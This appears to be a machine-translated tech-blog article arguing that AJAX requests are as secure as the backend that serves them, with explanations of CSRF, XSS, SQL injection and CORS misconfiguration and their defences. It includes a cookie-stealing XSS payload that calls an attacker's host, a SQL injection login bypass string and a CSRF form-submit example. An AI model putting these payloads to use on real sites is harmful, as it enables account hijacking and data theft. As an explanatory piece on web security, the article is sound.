Shulou(Shulou.com)06/03 Report--

This article mainly explains "web development with AJAX request security", the article explains the content is simple and clear, easy to learn and understand, now please follow the editor's train of thought slowly in depth, together to study and learn "web development with AJAX request security" bar!

The first three questions

Is it true that AJAX requests are not secure?

Where is the AJAX request not secure?

How to make AJAX requests more secure?

Outline

Is the AJAX request really not secure?

Where does the claim that AJAX is unsafe come from?

Several common Web front-end security problems

Introduction to CSRF

The relationship between CSRF and AJAX

Introduction to XSS

The relationship between XSS and AJAX

Brief introduction of SQL injection

The relationship between SQL injection and AJAX

Differences between AJAX and HTTP requests

The association between CORS and AJAX security

A brief introduction to the relationship between CORS and AJAX

Why configure CORS?

What information will CORS configure?

Security of CORS Origin: *

Again, is the AJAX request really not secure?

Where is the AJAX request not secure?

How to make AJAX requests more secure?

Is the AJAX request really not secure?

First of all, let's make a conclusion: whether the AJAX request is secure or not is decided by the server (backend).

There is such a saying: if a Web application has good security, then no matter how to use "insecure AJAX" can not weaken its security, on the contrary, if there are loopholes in the application itself, no matter what technical requests are used, it is not secure.

Why is there such a saying? Because in Web applications, it is a basic principle that client input cannot be trusted.

Where does the claim that AJAX is unsafe come from?

When AJAX appeared, the server at that time was still a very old group, so it did not take into account that after the emergence of AJAX, the front-end request method would become extremely complex, resulting in the previous security policy could not meet the requirements, resulting in a large number of background security vulnerabilities exposed.

Obviously, it is all because AJAX has exposed more security vulnerabilities, which makes it look dangerous (because after the emergence of AJAX, there are more requests, and the previous architecture may have more vulnerabilities in new requests).

The idea that So,AJAX is unsafe has naturally spread to every corner.

Several common Web front-end security problems

To know whether the AJAX request is secure, you need to know what kinds of security issues there are in the Web front end.

1.XSS (cross-site scripting attack) (cross-site scripting)-> forgery session (implementing CSRF based on XSS)-> hijacking cookie-> malicious code execution 2.CSRF (cross-site request forgery) (cross-site request forgery)-> forgery user identity operation 3. SQL injection. (not to mention anything else)

As mentioned above, the security issues in the front end of Web are mainly these categories (only some of them are listed for analysis), so we first need to analyze the relationship between AJAX and these categories. (XSS and CSRF are also briefly introduced below. )

Introduction to CSRF

CSRF, the characteristic is very simple: misuse the user's identity and conduct malicious operations.

Today, this security loophole has been thoroughly analyzed by people, any Google, Baidu, will find a lot of explanations. Here is also a simple description with a picture:

(note, the following introduction refers to the description in the source article, for example, the picture is redrawn after referring to the blog post in the source)

So, we see that the key conditions are:

1. Use cookie for user verification

two。 Log in to trusted website An and generate Cookie locally

3. Without logging out of A, visit dangerous website B

Generally speaking, the attack methods of malicious websites (B) at (4) are as follows (must be the address pointing to A, otherwise you can't bring cookie with you):

/ / 1. For example, malicious money transfer operations are hidden in the picture resources in the website.

/ / 2. Build a malicious hidden form and submit a malicious request document.getElementById ("csrf-form"). Submit () through a script

Moreover, from beginning to end, the attacking website does not get the cookie, but indirectly through the browser (using Web's cookie implicit authentication mechanism), so HttpOnly will not affect this attack.

Finally, there are several common CSRF defenses:

1. Validate the HTTP Referer field (very simple, but not very secure given that the client cannot be trusted)

To prevent CSRF, checking the Referer field is simple and straightforward, but it relies entirely on the browser to send the correct Referer field.

Although the content of this field is clearly defined in the http protocol, it cannot guarantee the specific implementation of the visiting browser, nor can it guarantee that there are no security vulnerabilities in the browser that affect this field. It is also possible for an attacker to attack some browsers and tamper with their Referer fields. )

two。 Add token to the request address and verify

(for example, in post, add a randomly generated token as a parameter)

The relationship between CSRF and AJAX

In the above, we saw that the premise of CSRF is that cookie authenticates users, so does it have much to do with AJAX?

Let's first analyze the situation with cookie authentication in AJAX:

1. AJAX is restricted by the same origin policy of the browser

2. AJAX cannot request cross-domain interfaces by default.

(of course, you can configure the backend to allow all cross-domain requests, such as `Access-Control-Allow-Origin: * `)

3. AJAX request cannot carry cross-domain cookie

(if withCredentials is forcibly enabled, the server must cooperate with authentication and cannot be used as an attack)

Mm-hmm. Seeing this, we can basically assume that CSRF has no chance with the AJAX request.

For example, suppose that the request in part 4 of the figure above is initiated by AJAX, and that website An already allows Access-Control-Allow-Origin: *. Because website B and site An are different domain names, there is a cross-domain. According to the same origin policy, the request cannot carry cookie at all, so the attack fails.

Even if withCredentials is forcibly enabled to carry cross-domain cookie, the server will not configure the cross-domain cookie of website B separately (Access-Control-Allow-Credentials: true is required, and Allow-Origin: * is not allowed to be set at this time), so authentication must fail.

As you can see, even if Access-Control-Allow-Origin: * allows AJAX requests from all sources, cross-domain cookie is still not portable and cannot be CSRF by default

So the conclusion is that CSRF has nothing to do with AJAX.

Introduction to XSS

Since CSRF has little to do with AJAX, XSS should have a lot to do with AJAX, right? Otherwise, why keep saying that AJAX requests are not secure, right? ). Then please read on (only in the category of JS in this article)

XSS (cross-site scripting), it seems that the abbreviation css is more appropriate. But to distinguish it from cascading stylesheets, use the abbreviation XSS

The characteristics of XSS can also be summarized as follows: cross-domain script injection, in which an attacker injects malicious code into a web page in some way, and then other users will be subjected to specific attacks after viewing the injected page content.

There is more content than CSRF,XSS, and it is often a combination of multiple forms of attack. Here are several examples introduced in the previous article:

1.cookie hijacking

Similarly, there is a comment input on the page, and after input, because of the loophole in the background, the special characters are not filtered, and the plaintext data is directly saved to the database, and then displayed directly to the web page, then the plaintext data is directly displayed as follows

Please enter the comments:

Then after the attacker analyzes it, enter

Window.open ("http://www.attackpage.com/record?secret=" + [xss_clean])

Save the article. Very simple code, because there is no filtering script, then other users will automatically send their cookie information to the attacker's server when they see this article.

Attackers can impersonate users with cookie (such as session corresponding to jsessionid) within the validity period.

It should be noted that the difference between here and CSRF is that after getting the cookie, you take the initiative to impersonate the user, while the CSRF does not know the cookie at all, and only uses the browser's implicit verification method to impersonate the user.

two。 Session forgery

It is also an example of a comment vulnerability.

Input by an attacker (for example)

Then, the story that follows is the same as that mentioned in CSRF. This situation is the CSRF based on XSS, and some people like to call it XSRF.

Note that you don't get the cookie yourself here, but use the browser's implicit authentication mechanism mentioned in CSRF to impersonate the user.

3. Other malicious code execution

In fact, the above cookie hijacking and session forgery are considered malicious code execution, in order to distinguish, here refers to the front-end rogue JS.

For example, the input in the previous comment could be:

For example, the popular web games pop-up windows in the market.

For example, you can just let this page get stuck.

Like an infinite loop.

One more point here, the above input is from the front end as the entry, but in fact, there is a kind of input that can not be ignored, that is: rich text attacks.

Its characteristic is that scripts are injected into the rich text, and the front and rear ends are not filtered, resulting in direct output to the page.

Because there are many pages that display rich text content on the web page, without filtering (even today, there are still many pages), so as long as there is an injection script in the rich text, you will basically be tricked.

Conclusion:

As long as you can finally output executable script statements to the page, then there are vulnerabilities and XSS attacks can occur.

Moreover, basically, xss vulnerabilities are very widespread, although the type of attack is very passive and requires a lot of time to analyze, it exists on a large number of websites (especially those that are not updated for a long time).

One more point. The above introduction is more in terms of the consequences, but in fact, from the manual point of view of the attack, it can be divided into several types: reflective XSS attacks (injected directly through URL, and many browsers have their own defense), storage XSS attacks (injected after reading when stored in DB), and a DOM- Base attack.

The above examples are all storage-based, and there are already very detailed information on the Internet for more details. I will not go any further here and put a picture to consolidate it.

How to prevent XSS:

Input filtering, do not trust any user input, filter "", "/" and other special characters that may cause the script to inject

Or filter script keywords such as "script" and "javascript", or limit the length of input data, and so on, and consider the way attackers enter scripts using hexadecimal encoding.

The output is encoded, similar to input filtering, but starts from the output. When the data is output to the page, it is encoded by tools such as HtmlEncoder, so that there are no directly executable scripts.

Cookie sets http-only so that you cannot get cookie with scripts

(in this way, the cookie field will be brought only when the browser makes a request to the Web server, which avoids XSS attacks to use JavaScript's [xss_clean] to obtain cookie)

Cookie anti-theft, as far as possible to avoid divulging privacy in Cookie, such as user name, password, etc.

Alternatively, to prevent replay attacks, you can bind Cookie and IP, which can also prevent the attacker from impersonating the identity of a normal user.

Note, especially in the background, the input of the front end must not be trusted, and it needs to be filtered and verified.

The relationship between XSS and AJAX

After analyzing some effects and problems caused by XSS, we still find that it has little to do with AJAX, because these problems will occur regardless of whether we use AJAX or not.

Take a look at this situation, such as the rich text injection above:

1. Some interface uses AJAX to interact.

2. After the AJAX request, the corresponding rich text field is displayed on the page-such as innerHTML

However, this really has nothing to do with AJAX, which is a consequence of the lack of input and output filtering at the front and back end.

So, the same sentence: if a Web application has good security, then no matter how to use "insecure AJAX" can not weaken its security, on the contrary, if there are loopholes in the application itself, no matter what technical requests are used, it is not secure.

Brief introduction of SQL injection

Sql injection deployment will also be a great knowledge, even more popular a long time ago (of course, now.), here are just a few of the most extreme examples.

The premise is that the background does not filter the input data of the front end, otherwise it will not take effect at all.

Suppose there is a botched sql injection vulnerability in a login query in page A, like this: (the most extreme, stupidest case)

Please enter your user name and password:

After receiving the login request, the server actually executes the code as follows:

String sql = "SELECT * FROM users WHERE name ='" + name + "'AND password ='" + password + "'"

However, some attackers analyzed that there may be vulnerabilities in the background, tried sql injection attacks, and entered

Name ='or 1=1password = anything

So, after the background receives the data, the actual result of the query is

SELECT * FROM users WHERE name =''or 1 AND password = 'anything'

As a result, the attacker successfully bypassed the user name and logged in using background vulnerabilities.

Of course, such a low-level loophole like this, the phenomenon almost no longer exists, often this type of loophole needs careful analysis, time-consuming. (or there is a mole. )

The relationship between SQL injection and AJAX

Well, I don't see what it has to do with AJAX from the above example. But we can assume this:

1. There is an interface that receives data from AJAX post

two。 There is a field in the data that is not filtered after it is received by the name', background, and the sql statement is executed as shown above.

3. So if illegal injection information is passed into that field in AJAX, this vulnerability will be triggered, causing the attack to take effect.

Yes, it only happens in such extreme circumstances, and it has nothing to do with AJAX, because any other request will have a similar situation.

So the conclusion is that SQL injection has nothing to do with AJAX.

Differences between AJAX and HTTP requests

In essence: AJAX is a HTTP request made by the browser, but the browser adds a restriction on the same origin policy.

The XMLHTTPRequest object of the AJAX request is what the browser exposes to the JS to invoke the HTTP request.

So what's the difference between AJAX and HTTP? List the following points:

AJAX requests are restricted by the same origin policy of the browser, so there is a cross-domain problem.

When AJAX makes a complex request, the browser will issue OPTIONS pre-check in advance (HTTP itself will not pre-check)

From a use point of view, AJAX is a little easier to use, with less underlying details and more browser features (such as automatically bringing the same domain cookie, etc.)

So, the difference from the HTTP request on authentication is that there is only one more encapsulation of the browser (the browser will have its own preprocessing, plus specific restrictions)

However, judging from the final message, the content is the same (the content of the HTTP protocol specification), and AJAX is a way to send HTTP requests.

So a conclusion can be drawn from this point that AJAX is essentially as secure as HTTP requests.

The association between CORS and AJAX security

According to what was mentioned earlier, it is almost impossible to draw a connection between AJAX and request insecurity. Then, continue to analyze the security after using cross-domain resource sharing (CORS).

(because ajax is often accompanied by CORS)

A brief introduction to the relationship between CORS and AJAX

This is a cross-domain sharing scheme, and the general process is as follows: (only take the pre-inspection of complex requests as an example-this part requires prior knowledge of CORS)

1. An OPTIONS pre-check is issued before the front-end AJAX request, which will be sent to the server with a bunch of related headers.

two。 When the server receives the pre-check, it checks whether the header, source and other information is legal, and then allows the normal request, otherwise it will be directly and mercilessly rejected.

3. If the browser receives a message rejected by the server (in response to a header check), it throws a corresponding error.

Otherwise, it is a normal response, followed by a real request (such as POST)

The header information of the request and response is approximately as follows:

Request Headers

/ / in CORS, it is used as Origin information to be compared by the backend, indicating the source domain. Origin: http://xxxAccess-Control-Request-Headers: X-Requested-With// all headers set with the setRequestHeader method will be included in this header separated by commas. Access-Control-Request-Method: OPTIONS is usually included in POST requests.

Response Headers

Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, AcceptAccess-Control-Allow-Methods: GET, POST, OPTIONSAccess-Control-Allow-Origin: http://xxx

In the end, the request made by the client must comply with the verification rules of the server to be correct, and the server will return the correct header, otherwise the request will only fail. A cross-domain error was reported.

The above is just a brief introduction. For more information, please refer to the ajax cross-domain in the source. This should be the most complete solution.

Why configure CORS?

Because of the same origin policy restriction, AJAX cannot request cross-domain resources, and CORS can solve the problem of AJAX cross-domain request.

So: in this article, CORS is configured only so that AJAX can make cross-domain requests

What information will CORS configure?

Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, AcceptAccess-Control-Allow-Methods: GET, POST, OPTIONSAccess-Control-Allow-Origin: http://xxx

As mentioned above, after this configuration is added, only a request that meets the requirements must be considered as a normal request, otherwise it will be rejected. Generally speaking, there will be an OPTIONS if the AJAX is cross-domain, so this step is done in the pre-check.

As you can see, the key variable message is: Access-Control-Allow-Origin: http://xxx

This configuration is the whitelist of domain names, which specifies the domain name under which AJAX cross-domain requests can be made.

Security of CORS Origin: *

Here comes the key question. The CORS configuration above looks like this:

Access-Control-Allow-Origin: http://xxx

However, this configuration only allows access to specific domain names. In view of the complexity of the front end, sometimes it is not very convenient to debug, so sometimes it will be lazily set to:

Access-Control-Allow-Origin: *

This cross-domain AJAX request on behalf of all sources responds normally.

Next, let's analyze the possible problems caused by setting Origin: *. (it's all based on AJAX)

Question1: will it affect cookie authentication?

No, I won't. Although * means that all sources can request normally, it is impossible to bring cross-domain cookie under the same origin policy. So it is impossible to use authentication at all.

Moreover, even if you use withCredentials to forcibly bring cross-domain cookie, an error will be reported because there is no support at the backend. (this can be seen as the last line of defense of the CORSs model)

In addition, even if the backend is configured with Access-Control-Allow-Credentials to allow cross-domain cookie, the security policy at this time is that Origin is not allowed to be * and must be a clear address.

(otherwise you can see the error message of the browser-when cross-domain cookie, Origin is not allowed to be *)

Question2: what if the Origin header is forged?

First of all, standard browsers do not allow you to forge (unless there are serious vulnerabilities), so you generally need to request forgery through a simulated client.

But. In the case of a non-browser, there is no homologous policy. There's no need for that.

Therefore, counterfeiting Origin has nothing to do with CORS.

Question3: what if there are loopholes in the background?

Make this assumption, suppose that there is an intranet server in the intranet of the user's network, and is configured to allow all cross-domain requests: (of course, the external network cannot request the intranet)

/ / allow any cross-domain request Access-Control-Allow-Origin from any domain: *

And suppose that sensitive resources happen to exist on the intranet server, and there are no additional defenses, as long as the intranet can access it. For example:

192.168.111.23/users.md

Then the user visits the malicious web page, and the web pages such as HTML are downloaded to be executed locally, and there happens to be malicious code in the web page to request resources from 192.168.111.23/users.md, and then send the received server back to the attacker's server.

(because Origin is added to * and AJAX is issued by a local browser, users can access the backend in the intranet if they download to a malicious website locally.)

And then the sensitive data was stolen.

But, this is due to server vulnerabilities. Why should sensitive resources be placed on the backend when Origin is set? The most useful thing that is normally set to Origin is to be used as a public API.

And more importantly, why are sensitive resources so easily acquired? Why is there no secondary verification?

SO, there are loopholes in the background itself, so it leads to being attacked. AJAX happens to be one of the means of attack (there are other ways besides AJAX), so a lot of pots are thrown on AJAX.

In this way, a conservative conclusion can be drawn:

If Origin is not *, the AJAX request will not have security problems. If it is *, it may be due to a loophole in the background. Inadvertently, AJAX will be used as a means of attack, leading to the claim that AJAX is not secure.

Again, is the AJAX request really not secure?

It is still the initial conclusion:

If a Web application has good security, then no matter how to use "insecure AJAX" can not weaken its security, on the contrary, if there are loopholes in the application itself, regardless of technical requests, it is not secure.

We can see that XSS, CSRF, and other hidden possible vulnerabilities are essentially caused by existing vulnerabilities in the background, and AJAX is at most used as a means of attack (even some AJAX cannot be used yet)

It is mentioned that AJAX requests are not secure, for example, Origin is configured in CORS: * to cause attacks through AJAX in some extreme cases. But in fact, this is also one of the means of attack, without AJAX, the unsafe is still not secure.

For example, it is also said that: because before the emergence of AJAX, if there are security vulnerabilities, it is easy to detect, but AJAX is asynchronous, it is more likely to implicitly have security problems. This also has nothing to do with the nature of security.

Most importantly, from the perspective of Web application security, Web applications must never trust clients. So stop throwing the pot to AJAX.

Where is the AJAX request not secure?

As above, AJAX itself does not have this kind of security problem.

One thing to note, however, is that if you use the CORS scheme.

1. Allow-Origin can set specific values and filter specific whitelists.

two。 For some public API, you can directly set Allow-Origin to `*`

3. Of course, if you confirm that the backend does not have these hidden vulnerabilities, you can directly use `* `. After all, it is only a homologous policy for browsers, and the impact is not so great.

How to make AJAX requests more secure?

It is still the conclusion repeatedly mentioned in the article:

If you make the Web background more secure, the AJAX request will also be more secure. On the contrary, there are loopholes in the background, which is insecure anyway.

Thank you for your reading, the above is the content of "web development with AJAX request security", after the study of this article, I believe you have a deeper understanding of the problem of web development using AJAX request security, the specific use of the situation also needs to be verified in practice. Here is, the editor will push for you more related knowledge points of the article, welcome to follow!

Welcome to subscribe "Shulou Technology Information " to get latest news, interesting things and hot topics in the IT industry, and controls the hottest and latest Internet news, technology news and IT industry trends.